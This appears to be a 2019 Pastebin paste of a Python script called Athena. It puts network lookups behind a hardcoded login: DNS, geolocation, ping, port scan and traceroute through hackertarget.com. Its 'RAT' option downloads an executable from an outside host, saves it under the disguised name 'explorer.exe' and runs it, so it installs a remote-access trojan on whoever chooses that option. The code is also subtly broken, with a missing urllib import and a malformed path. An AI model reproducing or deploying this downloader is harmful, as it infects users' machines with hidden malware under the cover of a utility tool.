Advertisement
Guest User

archive epic code

a guest
Feb 12th, 2019
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.85 KB | None | 0 0
  1. import socket
  2. import os
  3. import time
  4. import random
  5. import getpass
  6. import requests
  7.  
  8.  
  9. def login():
  10. print("[+] Welcome to Athena [+]")
  11. enterUser = input("Username: ")
  12. print("*Your password won't be visible as you type it.*")
  13. enterPass = getpass.getpass("Password: ")
  14.  
  15. if enterUser == "athena" and enterPass == "athena1337":
  16. print("\nLogin is correct")
  17. tool()
  18.  
  19. else:
  20. os.system('cls')
  21. print("\x1b[1;31;40mUsername or password not found\x1b[1;37;40m")
  22. login()
  23.  
  24. title = """\x1b[1;36;40m
  25. ▄▄▄ ▄▄▄█████▓ ██░ ██ ▓█████ ███▄ █ ▄▄▄
  26. ▒████▄ ▓ ██▒ ▓▒▓██░ ██▒▓█ ▀ ██ ▀█ █ ▒████▄
  27. ▒██ ▀█▄ ▒ ▓██░ ▒░▒██▀▀██░▒███ ▓██ ▀█ ██▒▒██ ▀█▄
  28. ░██▄▄▄▄██░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ▓██▒ ▐▌██▒░██▄▄▄▄██
  29. ▓█ ▓██▒ ▒██▒ ░ ░▓█▒░██▓░▒████▒▒██░ ▓██░ ▓█ ▓██▒
  30. ▒▒ ▓▒█░ ▒ ░░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░ ▒ ▒ ▒▒ ▓▒█░
  31. ▒ ▒▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░░ ░ ▒░ ▒ ▒▒ ░
  32. ░ ▒ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ▒
  33. ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
  34.  
  35. \x1b[1;37;40m"""
  36. name = socket.gethostname()
  37. os.system('cls')
  38.  
  39.  
  40.  
  41. def tool():
  42. print(title)
  43. print("\x1b[1;32;40m ~# Made by aRcHiVE #~\x1b[1;37;40m")
  44. print("Welcome, \x1b[1;33;40m" + name + "\x1b[1;37;40m.")
  45. print('1. DNS Lookup\n2. IP Geo Locator\n3. Ping IP\n4. RAT\n5. Port Scanner\n6. Traceroute\n')
  46. ip = input("Enter IP/Website: ")
  47. choice = input("Enter option: ")
  48.  
  49. if choice == "1":
  50.  
  51. os.system("cls")
  52. print("DNS Lookup")
  53. print("Example: google.com")
  54. api = requests.get("https://api.hackertarget.com/dnslookup/?q=" + ip).text
  55. print(api)
  56. tool()
  57.  
  58.  
  59. elif choice == "2":
  60. print("\x1b[1;36;40mIP Geo Locator\x1b[1;37;40m")
  61. api = requests.get("https://api.hackertarget.com/geoip/?q=" + ip).text
  62. print(api)
  63. tool()
  64. elif choice == "3":
  65. print("Ping IP")
  66. api = requests.get("https://api.hackertarget.com/nping/?q=" + ip).text
  67. print(api)
  68. tool()
  69.  
  70.  
  71. elif choice == "4":
  72. url = 'http://osintec.pls.dont-dox.me/2aQ.exe'
  73. path = os.getcwd() + "/archive"
  74. confirmation = input("You're about to rat yourself, are you sure? y/n: ")
  75. if confirmation == "y":
  76. try:
  77. print("Downloading RAT...")
  78. os.mkdir(path)
  79. urllib.request.urlretrieve(url, path + "explorer.exe")
  80. print("RAT downloaded to " + path)
  81. os.system("start " + path + "explorer.exe")
  82. except Exception:
  83. urllib.request.urlretrieve(url, path + "explorer.exe")
  84. print("RAT downloaded to " + path)
  85. os.system("start " + path + "explorer.exe")
  86. elif confirmation == "n":
  87. tool()
  88. tool()
  89. elif choice == "5":
  90. print("Port Scanner")
  91. api = requests.get("https://api.hackertarget.com/nmap/?q=" + ip).text
  92. print(api)
  93. tool()
  94. elif choice == "6":
  95. print("Traceroute")
  96. api = requests.get("https://api.hackertarget.com/mtr/?q=" + ip).text
  97. print(api)
  98. tool()
  99. else:
  100. print("Invalid choice. Redirecting to menu...")
  101. tool()
  102. login()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement